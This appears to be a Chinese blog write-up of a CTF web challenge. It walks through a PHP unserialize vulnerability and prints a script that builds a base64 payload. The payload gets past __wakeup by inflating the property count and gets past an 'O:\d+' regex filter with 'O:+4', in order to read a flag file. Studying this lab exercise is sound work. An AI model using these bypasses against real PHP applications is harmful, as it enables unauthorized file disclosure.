攻防世界进阶篇– Web_php_unserialize – WriteUp

原创

jing！ 于 2020-02-17 17:54:50 发布 1622 收藏 8

先是一串代码审计


```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```


看的出来要get一个var=?

？里要满足3个条件

1要绕过wake up 函数

2要绕过正则表达式

3必须是base64加密

首先

有关 PHP 其它魔术方法的内容可以参考 PHP 官方文档

有关 PHP 反序列化漏洞的内容可以参考 PHP 反序列化漏洞

那么开始正解题目

wake up这个函数大家都了解过

那么我们先序列化这个var

```php
# 实例化 Demo 对象 ， 这里将 $file 参数设定为 fl4g.php
$obj = new Demo("fl4g.php");
# 序列化对象
$str = serialize($obj);
# 输出字符串
echo $str,PHP_EOL;
```

```
┌─[epicccal@parrot]─[~/Desktop]
└──╼ $php test1.php
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
```

而正则匹配的规则是: 在不区分大小写的情况下， 若字符串出现 “o:数字” 或者 "c:数字' 这样的格式， 那么就被过滤 .很明显，因为 serialize() 的参数为 object， 因此参数类型肯定为对象 " O " ， 又因为序列化字符串的格式为 参数格式:参数名长度， 因此 " O:4 " 这样的字符串肯定无法通过正则匹配

```c
359 static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
  1 {
  2   long elements;
  3
  4   elements = parse_iv2((*p) + 2, p);
  5
  6   (*p) += 2;
  7
  8   object_init_ex(*rval, ce);
  9   return elements;
 10 }
```


2wake up函数流程也就是这样的 : 创建对象之后， 对对象的属性检查， 若属性检查通过， 就调用 __wakeup() 方法

若对象属性检查不通过， 则会跳出 object_common2() 函数， 不再调用 __wakeup() 函数 . 由于对象及其属性在 object_common1() 中已经被创建， 因此这里对象将会被销毁， 从而触发析构函数__destruct() .

因此这里我们仅需要破坏对象属性检查就可以绕过 __wakeup() 函数， 最简单的方法就是增大对象属性的个数， 使其饭序列化异常 .（简单来说，属性被改变直接跳过wake up 这个函数）

下面先贴脚本在解释为什么

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo ('fl4g.php');
$C = serialize($A);                     //改变属性绕过wake up 函数
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C);
var_dump($C);
var_dump(base64_encode($C));            //base64加密

?>
```

那么为什么用+4就可以绕过了呢？
我开始也是懵逼，但是查阅资料之后了解到
因为O:4一定会被过滤，上面正则表达式已经明确了
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
下面贴我查阅的资料

php反序列化

理解之后相信大家都明白了为什么可以绕过
加油加油加油！
如果还不明白可以看

大佬笔记